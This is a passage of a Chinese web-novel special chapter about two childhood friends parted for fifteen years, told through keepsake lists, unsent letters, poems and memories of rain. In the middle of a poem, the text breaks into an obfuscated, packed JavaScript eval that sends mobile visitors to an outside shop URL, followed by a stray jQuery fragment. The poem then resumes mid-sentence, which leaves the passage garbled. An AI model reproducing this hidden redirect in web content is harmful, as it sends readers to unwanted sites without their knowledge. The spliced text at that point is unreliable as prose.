特别篇：雨的记忆
物品清单
1.那本《城南旧事》
-图书馆编号：A-7-23
-浅绿色封面，边角磨损
-借阅卡上最后一个名字：顾雨落（日期：初一上学期，10月）
-书页第56页夹着一片干枯的梧桐叶，叶脉清晰
-第78页有铅笔画的云朵，很小，几乎看不见
-现在还放在秋蒽蒽书架第二层，和其他旧书在一起
-偶尔翻开，能闻到十五岁那年的雨味
2.银杏叶书签
-深蓝色缎面，银线绣回纹
-中间绣金黄银杏叶，叶脉用更深的金线
-叶柄处缀浅金色流苏，共27根——顾雨落15岁，秋蒽蒽12岁
-绣坏过三次，第四次才成功
-现在夹在顾雨落的法律辞典里，在“离婚诉讼”那一章
-流苏已经有些褪色，但银杏叶还是金的
3.墨绿色笔记本
-深绿色硬壳封面，质感像某种动物的皮毛
-扉页字迹：给秋蒽蒽：写满它，我陪你。
-写满了，从初一到初三
-前三分之二是课堂笔记，后三分之一是观察笔记
-最后几页是顾雨落写的“对不起”，一共13个
-现在放在秋蒽蒽编辑部的抽屉里，锁着
-偶尔打开，薄荷味已经很淡了，但还在
4.初三合影
-地点：母校梧桐树下
-时间：五月初，下午三点
-阳光很好，肩并着肩，手拉着手
-顾雨落校服很整齐，秋蒽蒽头发被风吹乱
-背面字迹：和蒽蒽，永远。（墨迹已淡）
-顾雨落那张放在铁盒底层，秋蒽蒽那张夹在《城南旧事》里
-都褪色了，但笑容还在
5.101张“顺路”的纸条
-收藏在铁盒里，生锈了
-材质：课本空白处撕下的纸、作业本边角、便利贴
-内容：
-“要一起去小卖部吗？”（第1张）
-“数学老师今天发型好像蒲公英。”（第23张）
-“食堂的冬瓜汤咸得能腌咸菜。”（第47张）
-“看那片叶子在抖。”（第68张）
-“雨声让人心里很静。”（第89张）
-“明天见。”（第101张）
-每张都有日期，从初一到初三
-现在在顾雨落的铁盒里，十五年没打开过
未寄出的信（顾雨落部分草稿）
第一封（火车上，夜里）
蒽蒽，火车开了。窗外很黑，只能看见自己的倒影。成都很远，要坐28个小时。妈妈睡了，我在写这封信。不知道能不能寄出去，也不知道寄到哪里。算了，不寄了。
第十三封（到成都一个月后）
今天在成都的学校看到一棵梧桐树，没家乡的高。下雨了，成都的雨很急，不像我们那里的雨，绵绵的。想起你说“雨声让人心里很静”，但这里的雨声很吵。你在干什么？中考复习很累吧？对不起。
第二十七封（高一暑假）
收到一中的录取通知书了吗？我收到了，成都这边的重点高中。但没去，妈妈让读另一所，可以住校。也好，清净。有时候会想，如果我们都考上了一中，现在是不是还坐在一起？算了，不想了。
最后一封（大四毕业前）
蒽蒽，我要当律师了。实习的第一个案子是离婚诉讼，夫妻争一套老房子，很像……很像我家当年。在法庭上，妻子一直在哭，我忽然想起妈妈。也想起你。十年了，你过得好吗？还在写东西吗？对不起，还有，谢谢。这封信，还是不寄了。
实际寄出的信（初三，放在课桌里的）
蒽蒽，对不起。
妈妈突然要带我回四川老家，今天就走。
一中……你要加油。
雨落。
三行，二十七个字。用薄荷味的钢笔写的，信纸是浅蓝色的，和那本淡紫色的观察笔记一个颜色。装进浅蓝色信封，放在牛皮纸盒里，和《城南旧事》、墨绿色笔记本一起，留在秋蒽蒽的课桌抽屉里。
后来，秋蒽蒽把这张信纸对折，再对折，折成小小的方形，放进那个生锈的铁盒里，和101张纸条放在一起。十五年，没打开过。
秋蒽蒽的诗歌片段
初一（写在家里的旧作业本上）
雨是天空写给大地的长信
我们是信里相遇的标点
你是逗号，我是句号
中间隔着其他文字
但都在同一行
初二（写在墨绿色笔记本扉页）
并肩走过落叶铺成的路
以为这就是永远的长度
直到秋风起
叶子分飞
才知道永远只是
从这棵树到那棵树的距离
初三之后
（空白。笔记本空了三页，然后开始记数学公式。）
二十五岁（写在编辑部的便签上，后扔掉）
雨停时
我才学会
如何不被淋湿地
想念一场雨
如何用干燥的词语
描述湿润的记忆
如何在没有你的句子里
藏一个“你”
三十岁（未写完，存在电脑草稿箱）
十五年
足够一场雨下成海
足够一棵树长老
足够一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554071|204347||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人学会
如何与潮湿共生
如何用晒干的回忆
泡一杯茉莉花茶
在雨停后的早晨
慢慢地喝
不品它的苦
只闻它的香
然后对自己说
看
天亮了
雨停了
茶还温着
而你
终于学会了
如何
不忘记
但继续
雨声档案
初一：图书馆窗外的雨，打在梧桐叶上，沙沙响。顾雨落说：“雨声让人心里很静。”秋蒽蒽在笔记本上记下这句话，旁边画一朵云。
初二：天台上的雨，突然而来，无处可躲。挤在屋檐下，肩膀挨着肩膀。“初中三年都要当同桌，好不好？”“好。”拉钩。雨下了一整晚。
初三：办公室外的雨，淅淅沥沥。听见顾雨落说：“我爸妈可能来不了家长会。”然后看见她跑进雨里，没打伞，背影湿透。
中考那天：考场窗外的雨，绵长不绝。作文题目《约定》，秋蒽蒽交了白卷。雨声很大，但心里很静，像一切都结束了。
成都的雨：骤然的，暴烈的，噼里啪啦像炒豆子。顾雨落站在窗边看，觉得吵，不静。想起家乡的雨，绵绵的，黏稠的，像眼泪。
二十五岁的雨：办公室落地窗外的雨，成年人的雨，冷的，沉的，不管不顾。编辑着青春爱情故事，写“像想起一场下在很久以前的、很温柔的雨”。自己笑，成年人的雨，不温柔。
三十岁的雨：同学会那天的雨，黏稠的，闷热的。都没去。在不同的城市，不同的窗边，看同一场雨。然后雨停，天光，茶温，继续。
最后一场雨的声音
顾雨落听到的：
-雨点砸在空调外机上，噼啪
-远处夜归人的脚步，湿漉漉
-自己的心跳，在突然的寂静里，怦，怦
-然后，打字声：雨停了。
-发送。没有回音。但说了，就够了。
秋蒽蒽听到的：
-雨点打在老屋瓦片上，闷响
-外婆在隔壁的呼吸，艰难但平稳
-电脑风扇的嗡鸣，轻微
-手机震动，屏幕亮：雨停了。
-来自顾雨落。十五年，第一条消息。
-没回。但看了，就够了。
然后，雨真的停了。
天亮了。
茶泡好了。
工作要继续。
生活要继续。
记忆，也继续。
湿漉漉的，黏稠的，但至少还有一点点光的，继续。
在这片雨停后的、干净的、崭新的、但心里某个角落永远湿漉漉的、天光里。
继续。